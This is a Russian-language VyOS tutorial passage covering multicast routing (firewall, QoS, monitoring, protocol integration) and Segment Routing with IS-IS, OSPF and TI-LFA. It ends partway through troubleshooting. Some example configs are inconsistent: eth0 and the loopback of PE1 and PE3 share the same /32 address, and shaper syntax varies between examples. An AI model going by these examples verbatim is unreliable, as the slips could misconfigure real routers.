set firewall name WAN_IN rule 100 protocol udp
set firewall name WAN_IN rule 100 description "Allowed multicast traffic"

# Rate limit для защиты от флуда
set firewall name WAN_IN rule 100 limit rate 50/second

# Логировать отброшенный multicast (для мониторинга)
set firewall name WAN_IN rule 999 action drop
set firewall name WAN_IN rule 999 destination address 224.0.0.0/4
set firewall name WAN_IN rule 999 log enable
set firewall name WAN_IN rule 999 description "Log dropped multicast"

commit
save
```

### Мониторинг и обслуживание

1. **Регулярные проверки**:
   - Мониторинг `show ip mroute count` на аномалии
   - Проверка PIM соседей на стабильность
   - Анализ логов на errors

2. **Baseline метрики**:
   - Запишите нормальное количество (S,G) записей
   - Нормальное количество IGMP групп
   - Обычный bandwidth multicast трафика

3. **Alerting**:
   - Уведомления при потере PIM соседей
   - Alerts на резкие изменения в mroute count
   - Мониторинг CPU/memory при большом multicast

4. **Документация**:
   - Схема multicast топологии
   - Назначение RP
   - Распределение multicast групп по приложениям
   - Процедуры troubleshooting

### Оптимизация производительности

1. **SPT switchover**:
   - Настройте порог переключения на SPT
   - Для high-bandwidth источников используйте немедленный SPT

2. **IGMP snooping**:
   - Включите на switches для оптимизации L2 flooding
   - Убедитесь в совместимости с IGMPv3

3. **Multicast VPN**:
   - Для inter-site multicast рассмотрите MVPN
   - Используйте draft-rosen или next-generation MVPN

4. **Buffer tuning**:
   - Увеличьте буферы для high-throughput multicast
   - Настройте queue management

**Пример оптимизации**:

```bash
configure

# Немедленный переход на SPT для всех групп
# (требует поддержки в FRR, проверить версию)
# set protocols pim spt-switchover infinity-and-beyond immediate

# QoS для multicast (приоритизация)
set qos policy shaper MULTICAST_SHAPER bandwidth 500mbit
set qos policy shaper MULTICAST_SHAPER class 10 bandwidth 400mbit
set qos policy shaper MULTICAST_SHAPER class 10 match MCAST destination address 224.0.0.0/4
set qos policy shaper MULTICAST_SHAPER class 10 priority 1
set qos policy shaper MULTICAST_SHAPER class 10 queue-type fair-queue

set interfaces ethernet eth1 qos-policy out MULTICAST_SHAPER

commit
save
```

## Интеграция с другими протоколами

### OSPF и PIM

Multicast RPF использует unicast routing table. При использовании OSPF:

```bash
configure

# OSPF для unicast
set protocols ospf area 0 network 10.0.0.0/8

# PIM использует OSPF routes для RPF
set protocols pim interface eth0
set protocols pim interface eth1

# RPF будет автоматически использовать OSPF маршруты
commit
save
```

### BGP и Multicast

Для inter-AS multicast:

```bash
configure

# BGP для unicast connectivity
set protocols bgp system-as 65001
set protocols bgp neighbor 192.168.1.1 remote-as 65002

# MSDP для обмена источниками между AS (если требуется)
# Настройка через vtysh, так как VyOS может не иметь прямой поддержки

# PIM для intra-AS multicast
set protocols pim interface eth0
set protocols pim interface eth1

commit
save
```

### VRF и Multicast

VyOS с FRR поддерживает multicast в VRF context (в новых версиях):

```bash
configure

# Создание VRF
set vrf name CUSTOMER-A table 100

# Назначение интерфейсов
set interfaces ethernet eth2 vrf CUSTOMER-A

# Multicast в VRF context может требовать настройки через vtysh
# vtysh
# configure terminal
# vrf CUSTOMER-A
#  ip multicast-routing
#  exit
# interface eth2 vrf CUSTOMER-A
#  ip pim
#  ip igmp
#  exit

commit
save
```

## Справочная информация

### Multicast адреса

**Зарезервированные диапазоны**:
- 224.0.0.0/24 - локальная сеть (не маршрутизируется)
  - 224.0.0.1 - все хосты в подсети
  - 224.0.0.2 - все маршрутизаторы
  - 224.0.0.5 - OSPF AllSPFRouters
  - 224.0.0.6 - OSPF AllDRouters
  - 224.0.0.13 - PIM Hello
- 224.0.1.0/24 - internetwork control
- 232.0.0.0/8 - Source-Specific Multicast (SSM)
- 233.0.0.0/8 - GLOP addressing (AS-based)
- 239.0.0.0/8 - административно ограниченные (организационные)

### Протокольные номера

- **IGMP**: IP protocol 2
- **PIM**: IP protocol 103

### Стандартные таймеры

**IGMP**:
- Query Interval: 125 секунд
- Query Response Time: 10 секунд
- Group Membership Timeout: 260 секунд
- Last Member Query Count: 2
- Last Member Query Interval: 1 секунда

**PIM**:
- Hello Interval: 30 секунд
- Hold Time: 105 секунд (3.5 * Hello)
- Join/Prune Interval: 60 секунд
- Register Suppress Time: 60 секунд

### Полезные ссылки

**RFC документы**:
- RFC 4601 - PIM-SM
- RFC 3376 - IGMPv3
- RFC 4607 - SSM
- RFC 5059 - Bootstrap Router (BSR)
- RFC 3618 - MSDP
- RFC 4610 - Anycast-RP using PIM

**VyOS документация**:
- https://docs.vyos.io/en/latest/configuration/protocols/multicast.html
- https://docs.vyos.io/en/latest/configuration/protocols/pim.html
- https://docs.vyos.io/en/latest/configuration/protocols/igmp.html

**FRRouting документация**:
- https://docs.frrouting.org/en/latest/pim.html
- https://docs.frrouting.org/en/latest/multicast.html

## Заключение

Многоадресная маршрутизация в VyOS предоставляет мощный инструментарий для эффективного распространения потокового контента. Правильная конфигурация PIM, IGMP и статических multicast маршрутов обеспечивает:

- Эффективное использование пропускной способности
- Масштабируемость для большого числа получателей
- Низкую задержку доставки
- Безопасность через SSM и фильтрацию

**Ключевые моменты**:
1. Используйте SSM (232.0.0.0/8) где возможно для упрощения и безопасности
2. Статические mroute применяйте только при необходимости
3. Тщательно планируйте размещение RP для PIM-SM
4. Регулярно мониторьте состояние multicast маршрутизации
5. Документируйте конфигурацию и назначение групп

При правильной реализации VyOS обеспечивает надежную платформу для enterprise multicast сервисов в облачных и on-premise средах.


---

# Segment Routing - Сегментная маршрутизация

Source: https://opennix.org/docs/vyos/routing/vyos-segment-routing/


## Обзор

Segment Routing (SR) - это архитектура маршрутизации с использованием исходной маршрутизации (source routing), которая позволяет отправляющему узлу определять путь прохождения пакетов через сеть. SR упрощает управление трафиком и оптимизацию путей без необходимости поддержания состояния на промежуточных маршрутизаторах.

### Ключевые характеристики

- **Упрощенная архитектура**: Не требуется протокол сигнализации (LDP, RSVP-TE)
- **Масштабируемость**: Минимальное состояние на промежуточных узлах
- **Traffic Engineering**: Гибкое управление потоками трафика
- **Быстрая конвергенция**: Поддержка TI-LFA для мгновенного переключения на резервный путь
- **Совместимость**: Работает поверх существующей MPLS-инфраструктуры

### Типы Segment Routing

VyOS поддерживает два типа Segment Routing:

1. **SR-MPLS**: Использует существующую MPLS data plane
2. **SRv6**: Использует IPv6 с расширенными заголовками (в разработке)

В данном руководстве основное внимание уделяется SR-MPLS, который является production-ready решением.

## Архитектура Segment Routing

### Основные компоненты

#### Segment (Сегмент)

Сегмент представляет собой инструкцию, которую узел должен выполнить над пакетом. Сегменты идентифицируются с помощью **Segment Identifier (SID)**.

#### Segment Identifier (SID)

SID - это уникальный идентификатор сегмента. В SR-MPLS реализуется как MPLS метка.

**Типы SID**:

- **Prefix-SID**: Глобальный сегмент, ассоциированный с префиксом IGP
- **Adjacency-SID**: Локальный сегмент, представляющий конкретное соседство
- **Node-SID**: Специальный случай Prefix-SID для loopback-интерфейса узла
- **Anycast-SID**: SID, назначенный нескольким узлам для балансировки нагрузки

#### Segment Routing Global Block (SRGB)

SRGB - это глобальный диапазон меток MPLS, используемый для Prefix-SID. Все узлы в SR-домене должны использовать один и тот же SRGB для обеспечения корректной работы.

**Параметры SRGB**:
- **Lower Bound**: Начальное значение диапазона (по умолчанию: 16000)
- **Upper Bound**: Конечное значение диапазона (по умолчанию: 23999)
- **Range Size**: Размер диапазона (максимум: 65535)

#### Segment Routing Local Block (SRLB)

SRLB - это локальный диапазон меток, используемый для Adjacency-SID и других локальных сегментов.

### Принцип работы SR-MPLS

1. **Инициализация**: Входной маршрутизатор (ingress) определяет путь и создает стек меток MPLS
2. **Пересылка**: Промежуточные маршрутизаторы обрабатывают верхнюю метку в стеке
3. **Завершение**: Выходной маршрутизатор (egress) удаляет последнюю метку и доставляет пакет

**Операции над метками**:

- **PUSH**: Добавление метки в стек (на ingress-узле)
- **SWAP**: Замена верхней метки (на transit-узлах)
- **POP**: Удаление верхней метки
- **CONTINUE**: Переход к следующей метке в стеке

### PHP (Penultimate Hop Popping)

PHP - это механизм, при котором предпоследний маршрутизатор удаляет верхнюю метку перед пересылкой пакета на egress-узел. Это снижает нагрузку на выходной маршрутизатор.

**Режимы**:

- **Implicit-null**: Метка 3 (по умолчанию с PHP)
- **Explicit-null**: Метка 0 для IPv4, метка 2 для IPv6 (с флагом explicit-null)
- **No-PHP**: Отключение PHP (с флагом no-php-flag)

## Конфигурация SR-MPLS

### Системные требования

- VyOS 1.4 (Sagitta) или новее
- Поддержка MPLS в ядре Linux
- Настроенный протокол IGP (IS-IS или OSPF)

### Базовая конфигурация SRGB

```bash
set protocols segment-routing global-block high-label-value 23999
set protocols segment-routing global-block low-label-value 16000
```

**Параметры**:

- `high-label-value`: Верхняя граница SRGB (максимум: 1048575)
- `low-label-value`: Нижняя граница SRGB (минимум: 0)

**Важно**:
- Размер SRGB не должен превышать 65535 меток
- SRGB должен быть одинаковым на всех узлах SR-домена
- Рекомендуется использовать диапазон, не конфликтующий с динамическими метками LDP

### Maximum Label Stack Depth

```bash
set protocols segment-routing maximum-label-stack-depth 10
```

Определяет максимальное количество меток в стеке (диапазон: 1-16). По умолчанию: 10.

## Segment Routing с IS-IS

### Включение SR в IS-IS

```bash
set protocols isis SR segment-routing enable
```

### Конфигурация SRGB для IS-IS

```bash
set protocols isis SR segment-routing global-block high-label-value 23999
set protocols isis SR segment-routing global-block low-label-value 16000
```

### Настройка Prefix-SID

Prefix-SID назначается loopback-интерфейсу для создания Node-SID:

```bash
set protocols isis SR segment-routing prefix 10.0.0.1/32 index value 1
set protocols isis SR segment-routing prefix 10.0.0.1/32 index no-php-flag
```

**Параметры Prefix-SID**:

- `value`: Индекс в SRGB (0-65535)
- `no-php-flag`: Отключает PHP для этого префикса
- `explicit-null`: Использует explicit-null метку вместо implicit-null
- `n-flag-clear`: Очищает N-flag в TLV (для специальных случаев)

**Расчет метки**: `Label = SRGB_Lower_Bound + Index`

Пример: Если SRGB = 16000-23999 и Index = 1, то метка = 16001

### Полный пример конфигурации IS-IS SR

**Узел R1 (10.0.0.1)**:

```bash
# Базовая конфигурация IS-IS
set protocols isis interface eth1
set protocols isis interface lo
set protocols isis net 49.0000.0000.0001.00
set protocols isis level level-2

# Segment Routing
set protocols isis SR segment-routing enable
set protocols isis SR segment-routing global-block low-label-value 16000
set protocols isis SR segment-routing global-block high-label-value 23999
set protocols isis SR segment-routing prefix 10.0.0.1/32 index value 1

# MPLS на интерфейсах
set interfaces ethernet eth1 ip address 192.168.1.1/24
set interfaces loopback lo address 10.0.0.1/32
set protocols mpls interface eth1
```

**Узел R2 (10.0.0.2)**:

```bash
# Базовая конфигурация IS-IS
set protocols isis interface eth1
set protocols isis interface eth2
set protocols isis interface lo
set protocols isis net 49.0000.0000.0002.00
set protocols isis level level-2

# Segment Routing
set protocols isis SR segment-routing enable
set protocols isis SR segment-routing global-block low-label-value 16000
set protocols isis SR segment-routing global-block high-label-value 23999
set protocols isis SR segment-routing prefix 10.0.0.2/32 index value 2

# MPLS на интерфейсах
set interfaces ethernet eth1 ip address 192.168.1.2/24
set interfaces ethernet eth2 ip address 192.168.2.1/24
set interfaces loopback lo address 10.0.0.2/32
set protocols mpls interface eth1
set protocols mpls interface eth2
```

**Узел R3 (10.0.0.3)**:

```bash
# Базовая конфигурация IS-IS
set protocols isis interface eth1
set protocols isis interface lo
set protocols isis net 49.0000.0000.0003.00
set protocols isis level level-2

# Segment Routing
set protocols isis SR segment-routing enable
set protocols isis SR segment-routing global-block low-label-value 16000
set protocols isis SR segment-routing global-block high-label-value 23999
set protocols isis SR segment-routing prefix 10.0.0.3/32 index value 3

# MPLS на интерфейсах
set interfaces ethernet eth1 ip address 192.168.2.2/24
set interfaces loopback lo address 10.0.0.3/32
set protocols mpls interface eth1
```

## Segment Routing с OSPF

### Включение SR в OSPF

```bash
set protocols ospf segment-routing enable
```

### Конфигурация SRGB для OSPF

```bash
set protocols ospf segment-routing global-block high-label-value 23999
set protocols ospf segment-routing global-block low-label-value 16000
```

### Настройка Prefix-SID для OSPF

```bash
set protocols ospf segment-routing prefix 10.0.0.1/32 index value 1
set protocols ospf segment-routing prefix 10.0.0.1/32 index no-php-flag
```

### Полный пример конфигурации OSPF SR

**Узел R1 (10.0.0.1)**:

```bash
# Базовая конфигурация OSPF
set interfaces ethernet eth1 ip address 192.168.1.1/24
set interfaces loopback lo address 10.0.0.1/32

set protocols ospf area 0 network 192.168.1.0/24
set protocols ospf area 0 network 10.0.0.1/32
set protocols ospf parameters router-id 10.0.0.1

# Segment Routing
set protocols ospf segment-routing enable
set protocols ospf segment-routing global-block low-label-value 16000
set protocols ospf segment-routing global-block high-label-value 23999
set protocols ospf segment-routing prefix 10.0.0.1/32 index value 1

# MPLS
set protocols mpls interface eth1
```

**Узел R2 (10.0.0.2)**:

```bash
# Базовая конфигурация OSPF
set interfaces ethernet eth1 ip address 192.168.1.2/24
set interfaces ethernet eth2 ip address 192.168.2.1/24
set interfaces loopback lo address 10.0.0.2/32

set protocols ospf area 0 network 192.168.1.0/24
set protocols ospf area 0 network 192.168.2.0/24
set protocols ospf area 0 network 10.0.0.2/32
set protocols ospf parameters router-id 10.0.0.2

# Segment Routing
set protocols ospf segment-routing enable
set protocols ospf segment-routing global-block low-label-value 16000
set protocols ospf segment-routing global-block high-label-value 23999
set protocols ospf segment-routing prefix 10.0.0.2/32 index value 2

# MPLS
set protocols mpls interface eth1
set protocols mpls interface eth2
```

**Узел R3 (10.0.0.3)**:

```bash
# Базовая конфигурация OSPF
set interfaces ethernet eth1 ip address 192.168.2.2/24
set interfaces loopback lo address 10.0.0.3/32

set protocols ospf area 0 network 192.168.2.0/24
set protocols ospf area 0 network 10.0.0.3/32
set protocols ospf parameters router-id 10.0.0.3

# Segment Routing
set protocols ospf segment-routing enable
set protocols ospf segment-routing global-block low-label-value 16000
set protocols ospf segment-routing global-block high-label-value 23999
set protocols ospf segment-routing prefix 10.0.0.3/32 index value 3

# MPLS
set protocols mpls interface eth1
```

## SR Policies и Explicit Paths

SR Policies позволяют определить явные пути для трафика с использованием списка SID.

### Концепция SR Policy

SR Policy состоит из:

- **Endpoint**: Целевой узел (IP-адрес)
- **Color**: Идентификатор политики для группировки путей
- **Candidate Path**: Список возможных путей
- **Segment List**: Упорядоченный список SID, определяющих путь

### Примеры использования SR Policies

**Сценарий 1: Low-latency path**

Для критичных к задержкам приложений можно настроить путь через высокоскоростные линки:

```bash
# Маркировка трафика VoIP для использования low-latency пути
set policy route LowLatency rule 10 protocol udp
set policy route LowLatency rule 10 destination port 5060
set policy route LowLatency rule 10 set table 100

# Статический маршрут с использованием SR
set protocols static route 10.0.0.10/32 interface eth1 segments 16005 16008 16010
```

**Сценарий 2: Disjoint paths для отказоустойчивости**

Создание двух непересекающихся путей для критичного трафика:

```bash
# Primary path: R1 -> R2 -> R4 -> R5
# Backup path: R1 -> R3 -> R6 -> R5

# Primary SR policy (color 10)
set policy route PrimaryPath rule 10 destination address 10.10.0.0/16
set policy route PrimaryPath rule 10 set table 10

# Backup SR policy (color 20) - активируется при отказе primary
set policy route BackupPath rule 10 destination address 10.10.0.0/16
set policy route BackupPath rule 10 set table 20
```

## TI-LFA (Topology Independent Loop-Free Alternate)

TI-LFA использует Segment Routing для создания резервных путей без петель, которые не зависят от топологии сети.

### Преимущества TI-LFA

- **Мгновенная конвергенция**: Переключение на резервный путь за <50ms
- **Топологическая независимость**: Работает в любой топологии, включая ring и mesh
- **Отсутствие петель**: Гарантированное отсутствие петель маршрутизации
- **Оптимальные пути**: Резервный путь близок к оптимальному

### Включение TI-LFA в IS-IS

```bash
set protocols isis fast-reroute lfa local load-sharing disable
set protocols isis fast-reroute lfa local priority-limit critical
set protocols isis interface eth1 fast-reroute lfa local enable
set protocols isis interface eth1 fast-reroute lfa local tiebreaker downstream index 10
```

**Параметры**:

- `local enable`: Включает LFA на интерфейсе
- `load-sharing`: Балансировка между несколькими LFA путями
- `priority-limit`: Защита только критичных префиксов
- `tiebreaker`: Критерии выбора LFA при наличии нескольких вариантов

### Включение TI-LFA в OSPF

```bash
set protocols ospf fast-reroute ti-lfa enable
set protocols ospf fast-reroute ti-lfa load-sharing disable
set protocols ospf interface eth1 fast-reroute ti-lfa enable
```

### Пример конфигурации TI-LFA

**Топология**: R1 --- R2 --- R4
                  \   /
                   R3

```bash
# R1 Configuration
set protocols isis interface eth1 fast-reroute lfa local enable
set protocols isis interface eth2 fast-reroute lfa local enable
set protocols isis fast-reroute lfa local priority-limit critical

# R2 Configuration
set protocols isis interface eth1 fast-reroute lfa local enable
set protocols isis interface eth2 fast-reroute lfa local enable
set protocols isis interface eth3 fast-reroute lfa local enable

# R3 Configuration
set protocols isis interface eth1 fast-reroute lfa local enable
set protocols isis interface eth2 fast-reroute lfa local enable
```

При отказе линка R1-R2, трафик мгновенно переключается через R3 с использованием заранее вычисленного SR-пути.

## Примеры для облачных провайдеров

### Пример 1: Yandex Cloud - SR для Traffic Engineering в ЦОД

**Сценарий**: Оператор хочет управлять трафиком между зонами доступности в Yandex Cloud с использованием SR для оптимизации пропускной способности.

**Топология**:
- DC1 (ru-central1-a): R1, R2
- DC2 (ru-central1-b): R3, R4
- Core: R5, R6 (backbone между ЦОД)

**Требования**:
- Критичный трафик БД идет через выделенный high-bandwidth путь
- Web-трафик использует shortest path
- Резервирование через TI-LFA

**Конфигурация R1 (DC1)**:

```bash
# Базовые интерфейсы
set interfaces ethernet eth0 address 10.128.0.10/24
set interfaces ethernet eth1 address 172.16.1.1/30
set interfaces ethernet eth2 address 172.16.2.1/30
set interfaces loopback lo address 10.0.1.1/32

# IS-IS + SR
set protocols isis interface eth0
set protocols isis interface eth1
set protocols isis interface eth2
set protocols isis interface lo
set protocols isis net 49.0001.0000.0001.00
set protocols isis level level-2

set protocols isis SR segment-routing enable
set protocols isis SR segment-routing global-block low-label-value 20000
set protocols isis SR segment-routing global-block high-label-value 29999
set protocols isis SR segment-routing prefix 10.0.1.1/32 index value 1

# MPLS
set protocols mpls interface eth1
set protocols mpls interface eth2

# TI-LFA для быстрой конвергенции
set protocols isis interface eth1 fast-reroute lfa local enable
set protocols isis interface eth2 fast-reroute lfa local enable

# Traffic Engineering для БД
set policy route DB_TRAFFIC rule 10 source address 10.128.0.0/16
set policy route DB_TRAFFIC rule 10 destination port 5432
set policy route DB_TRAFFIC rule 10 protocol tcp
set policy route DB_TRAFFIC rule 10 set table 100

# Явный путь для БД: R1 -> R5 -> R4 (через high-bandwidth core)
set protocols static table 100 route 10.129.0.0/16 segments 20005 20004
```

**Конфигурация R5 (Core Backbone)**:

```bash
# Интерфейсы
set interfaces ethernet eth0 address 172.16.1.2/30
set interfaces ethernet eth1 address 172.16.3.1/30
set interfaces ethernet eth2 address 172.16.5.1/30
set interfaces loopback lo address 10.0.5.5/32

# IS-IS + SR
set protocols isis interface eth0
set protocols isis interface eth1
set protocols isis interface eth2
set protocols isis interface lo
set protocols isis net 49.0001.0000.0005.00
set protocols isis level level-2

set protocols isis SR segment-routing enable
set protocols isis SR segment-routing global-block low-label-value 20000
set protocols isis SR segment-routing global-block high-label-value 29999
set protocols isis SR segment-routing prefix 10.0.5.5/32 index value 5

# MPLS на всех интерфейсах
set protocols mpls interface eth0
set protocols mpls interface eth1
set protocols mpls interface eth2

# TI-LFA
set protocols isis interface eth0 fast-reroute lfa local enable
set protocols isis interface eth1 fast-reroute lfa local enable
set protocols isis interface eth2 fast-reroute lfa local enable

# QoS для приоритизации DB трафика
set traffic-policy shaper DB_SHAPER bandwidth 1gbit
set traffic-policy shaper DB_SHAPER default bandwidth 900mbit
set traffic-policy shaper DB_SHAPER class 10 bandwidth 100mbit
set traffic-policy shaper DB_SHAPER class 10 match DB_MATCH ip dscp ef
set interfaces ethernet eth1 traffic-policy out DB_SHAPER
```

**Конфигурация R4 (DC2)**:

```bash
# Интерфейсы
set interfaces ethernet eth0 address 10.129.0.10/24
set interfaces ethernet eth1 address 172.16.3.2/30
set interfaces ethernet eth2 address 172.16.4.2/30
set interfaces loopback lo address 10.0.4.4/32

# IS-IS + SR
set protocols isis interface eth0
set protocols isis interface eth1
set protocols isis interface eth2
set protocols isis interface lo
set protocols isis net 49.0001.0000.0004.00
set protocols isis level level-2

set protocols isis SR segment-routing enable
set protocols isis SR segment-routing global-block low-label-value 20000
set protocols isis SR segment-routing global-block high-label-value 29999
set protocols isis SR segment-routing prefix 10.0.4.4/32 index value 4

# MPLS
set protocols mpls interface eth1
set protocols mpls interface eth2

# TI-LFA
set protocols isis interface eth1 fast-reroute lfa local enable
set protocols isis interface eth2 fast-reroute lfa local enable
```

**Результат**:
- Трафик PostgreSQL (порт 5432) от DC1 к DC2 идет через выделенный путь R1->R5->R4
- Остальной трафик использует shortest path (может быть через R6)
- При отказе любого линка TI-LFA обеспечивает мгновенное переключение

### Пример 2: VK Cloud - SR-MPLS Backbone

**Сценарий**: Построение MPLS-backbone для VK Cloud с использованием SR вместо LDP для упрощения управления.

**Топология**:
- Region Moscow: PE1, PE2
- Region SPb: PE3, PE4
- Core: P1, P2, P3 (mesh топология)

**Особенности**:
- Anycast SID для балансировки к группе PE
- SR Policies для разных классов трафика
- OSPF как IGP
- TI-LFA для sub-50ms failover

**Конфигурация PE1 (Moscow)**:

```bash
# Интерфейсы
set interfaces ethernet eth0 address 10.0.0.1/32
set interfaces ethernet eth1 address 192.168.1.1/30
set interfaces ethernet eth2 address 192.168.2.1/30
set interfaces loopback lo address 10.0.0.1/32

# OSPF + SR
set protocols ospf area 0 network 192.168.1.0/30
set protocols ospf area 0 network 192.168.2.0/30
set protocols ospf area 0 network 10.0.0.1/32
set protocols ospf parameters router-id 10.0.0.1

set protocols ospf segment-routing enable
set protocols ospf segment-routing global-block low-label-value 16000
set protocols ospf segment-routing global-block high-label-value 23999
set protocols ospf segment-routing prefix 10.0.0.1/32 index value 1

# Anycast SID для группы Moscow PE
set protocols ospf segment-routing prefix 10.100.1.0/32 index value 101

# MPLS
set protocols mpls interface eth1
set protocols mpls interface eth2

# TI-LFA
set protocols ospf fast-reroute ti-lfa enable
set protocols ospf interface eth1 fast-reroute ti-lfa enable
set protocols ospf interface eth2 fast-reroute ti-lfa enable

# L3VPN для клиентов
set protocols bgp system-as 65000
set protocols bgp neighbor 10.0.0.3 remote-as 65000
set protocols bgp neighbor 10.0.0.3 update-source lo
set protocols bgp neighbor 10.0.0.3 address-family ipv4-vpn

set vrf name CUSTOMER_A table 1000
set vrf name CUSTOMER_A protocols bgp system-as 65000
set vrf name CUSTOMER_A protocols bgp neighbor 172.16.1.2 remote-as 65001
```

**Конфигурация P1 (Core)**:

```bash
# Интерфейсы (только transit)
set interfaces ethernet eth0 address 192.168.1.2/30
set interfaces ethernet eth1 address 192.168.10.1/30
set interfaces ethernet eth2 address 192.168.11.1/30
set interfaces ethernet eth3 address 192.168.12.1/30
set interfaces loopback lo address 10.0.10.1/32

# OSPF + SR
set protocols ospf area 0 network 192.168.1.0/30
set protocols ospf area 0 network 192.168.10.0/30
set protocols ospf area 0 network 192.168.11.0/30
set protocols ospf area 0 network 192.168.12.0/30
set protocols ospf area 0 network 10.0.10.1/32
set protocols ospf parameters router-id 10.0.10.1

set protocols ospf segment-routing enable
set protocols ospf segment-routing global-block low-label-value 16000
set protocols ospf segment-routing global-block high-label-value 23999
set protocols ospf segment-routing prefix 10.0.10.1/32 index value 10

# MPLS на всех интерфейсах
set protocols mpls interface eth0
set protocols mpls interface eth1
set protocols mpls interface eth2
set protocols mpls interface eth3

# TI-LFA на всех интерфейсах
set protocols ospf fast-reroute ti-lfa enable
set protocols ospf interface eth0 fast-reroute ti-lfa enable
set protocols ospf interface eth1 fast-reroute ti-lfa enable
set protocols ospf interface eth2 fast-reroute ti-lfa enable
set protocols ospf interface eth3 fast-reroute ti-lfa enable

# MPLS TTL propagation
set protocols mpls no-propagate-ttl
```

**Конфигурация PE3 (SPb)**:

```bash
# Интерфейсы
set interfaces ethernet eth0 address 10.0.0.3/32
set interfaces ethernet eth1 address 192.168.20.1/30
set interfaces ethernet eth2 address 192.168.21.1/30
set interfaces loopback lo address 10.0.0.3/32

# OSPF + SR
set protocols ospf area 0 network 192.168.20.0/30
set protocols ospf area 0 network 192.168.21.0/30
set protocols ospf area 0 network 10.0.0.3/32
set protocols ospf parameters router-id 10.0.0.3

set protocols ospf segment-routing enable
set protocols ospf segment-routing global-block low-label-value 16000
set protocols ospf segment-routing global-block high-label-value 23999
set protocols ospf segment-routing prefix 10.0.0.3/32 index value 3

# Anycast SID для группы SPb PE
set protocols ospf segment-routing prefix 10.100.2.0/32 index value 102

# MPLS
set protocols mpls interface eth1
set protocols mpls interface eth2

# TI-LFA
set protocols ospf fast-reroute ti-lfa enable
set protocols ospf interface eth1 fast-reroute ti-lfa enable
set protocols ospf interface eth2 fast-reroute ti-lfa enable

# L3VPN для клиентов
set protocols bgp system-as 65000
set protocols bgp neighbor 10.0.0.1 remote-as 65000
set protocols bgp neighbor 10.0.0.1 update-source lo
set protocols bgp neighbor 10.0.0.1 address-family ipv4-vpn

set vrf name CUSTOMER_A table 1000
set vrf name CUSTOMER_A protocols bgp system-as 65000
set vrf name CUSTOMER_A protocols bgp neighbor 172.16.2.2 remote-as 65001
```

**SR Policies для разных классов трафика**:

На PE1 настроим разные пути для разных типов трафика:

```bash
# Real-time трафик (VoIP, video) - shortest path
set policy route REALTIME rule 10 protocol udp
set policy route REALTIME rule 10 destination port 5060-5080
set policy route REALTIME rule 10 set dscp ef

# Bulk data - через менее загруженный путь
set policy route BULK rule 10 protocol tcp
set policy route BULK rule 10 destination port 873
set policy route BULK rule 10 set table 200

# Статический маршрут с SR для bulk: PE1 -> P2 -> P3 -> PE3
set protocols static table 200 route 10.0.0.3/32 segments 16012 16013 16003
```

**Результат**:
- Упрощенная конфигурация без LDP
- Anycast SID позволяет балансировать трафик между PE в одном регионе
- TI-LFA обеспечивает быструю конвергенцию
- SR Policies оптимизируют использование пропускной способности

## Команды проверки и мониторинга

### Проверка конфигурации SR

```bash
# Показать конфигурацию SRGB
show running-config protocols segment-routing

# Вывод:
# protocols {
#     segment-routing {
#         global-block {
#             high-label-value 23999
#             low-label-value 16000
#         }
#         maximum-label-stack-depth 10
#     }
# }
```

### Проверка SR в IS-IS

```bash
# Общая информация о SR в IS-IS
show isis segment-routing

# Информация о Node-SID
show isis segment-routing node

# Префиксы с SID
show isis segment-routing prefix-sids
```

**Пример вывода**:

```
 Area  Prefix                 SID Type       Flags  Algorithm
 ------------------------------------------------------------------
 Level-2 10.0.0.1/32          1   Node       R:0 N:1 P:0 E:0 V:0 L:0  SPF
 Level-2 10.0.0.2/32          2   Node       R:0 N:1 P:0 E:0 V:0 L:0  SPF
 Level-2 10.0.0.3/32          3   Node       R:0 N:1 P:0 E:0 V:0 L:0  SPF
```

**Флаги**:
- **R**: Re-advertisement flag
- **N**: Node-SID flag (этот SID представляет узел)
- **P**: no-PHP flag
- **E**: Explicit-null flag
- **V**: Value flag (SID является абсолютной меткой, а не индексом)
- **L**: Local flag

### Проверка SR в OSPF

```bash
# Общая информация о SR в OSPF
show ip ospf segment-routing

# Детали по префиксам
show ip ospf segment-routing prefix-sids
```

**Пример вывода**:

```
OSPF Segment Routing:
  SR Enabled: True
  SRGB Range: [16000:23999]
  Algorithm: SPF
  MSD: 10

Prefix-SIDs:
  10.0.0.1/32 - Index 1 (Label 16001) Flags: N
  10.0.0.2/32 - Index 2 (Label 16002) Flags: N
  10.0.0.3/32 - Index 3 (Label 16003) Flags: N
```

### Проверка MPLS таблицы

```bash
# Показать локальные метки MPLS
show mpls table

# Показать forwarding таблицу MPLS
show mpls fib
```

**Пример вывода show mpls table**:

```
 Inbound Label  Type       Nexthop               Outbound Label
 ----------------------------------------------------------------
 16001          SR (IS-IS) local                 -
 16002          SR (IS-IS) 192.168.1.2 via eth1  implicit-null
 16003          SR (IS-IS) 192.168.1.2 via eth1  16003
 16003          SR (IS-IS) 192.168.2.2 via eth2  16003
```

### Проверка путей с SR

```bash
# Трассировка с отображением MPLS меток
traceroute mpls 10.0.0.3

# IP трассировка
traceroute 10.0.0.3
```

**Пример вывода**:

```
traceroute to 10.0.0.3 (10.0.0.3), 30 hops max, 60 byte packets
 1  192.168.1.2 (192.168.1.2) [MPLS: Label 16003]  0.521 ms  0.489 ms  0.467 ms
 2  192.168.2.2 (192.168.2.2) [MPLS: Label-switched]  0.891 ms  0.854 ms  0.812 ms
 3  10.0.0.3 (10.0.0.3)  1.123 ms  1.089 ms  1.056 ms
```

### Проверка TI-LFA

```bash
# Показать вычисленные LFA для IS-IS
show isis fast-reroute summary

# Детальная информация по LFA
show isis fast-reroute detail
```

**Пример вывода**:

```
IS-IS Fast-Reroute Summary:
  Enabled: True
  Type: TI-LFA

Prefix             Primary-NH      Backup-NH       Backup-Label
------------------------------------------------------------------
10.0.0.3/32        192.168.1.2     192.168.2.2     16002,16003
10.0.0.4/32        192.168.1.2     192.168.2.2     16002,16004
```

### Проверка ISIS/OSPF базы данных

```bash
# ISIS LSDB с SR информацией
show isis database detail

# OSPF LSDB с SR расширениями
show ip ospf database opaque-area
```

### Мониторинг производительности SR

```bash
# Статистика MPLS
show mpls statistics

# Интерфейсная статистика с MPLS
show interfaces ethernet eth1 mpls
```

### Проверка BGP с SR (для L3VPN)

```bash
# BGP маршруты с MPLS метками
show bgp ipv4 vpn summary

# Детальная информация по VPNv4 маршрутам
show bgp ipv4 vpn
```

## Troubleshooting

### Проблема 1: SR не работает в IS-IS/OSPF

**Симптомы**:
- Команда `show isis segment-routing` не показывает префиксы с SID
- MPLS таблица пуста
- Нет SR меток в трассировке

**Диагностика**:

```bash
# Проверить, включен ли SR
show running-config protocols isis | match segment-routing
show running-config protocols ospf | match segment-routing

# Проверить SRGB
show running-config protocols segment-routing

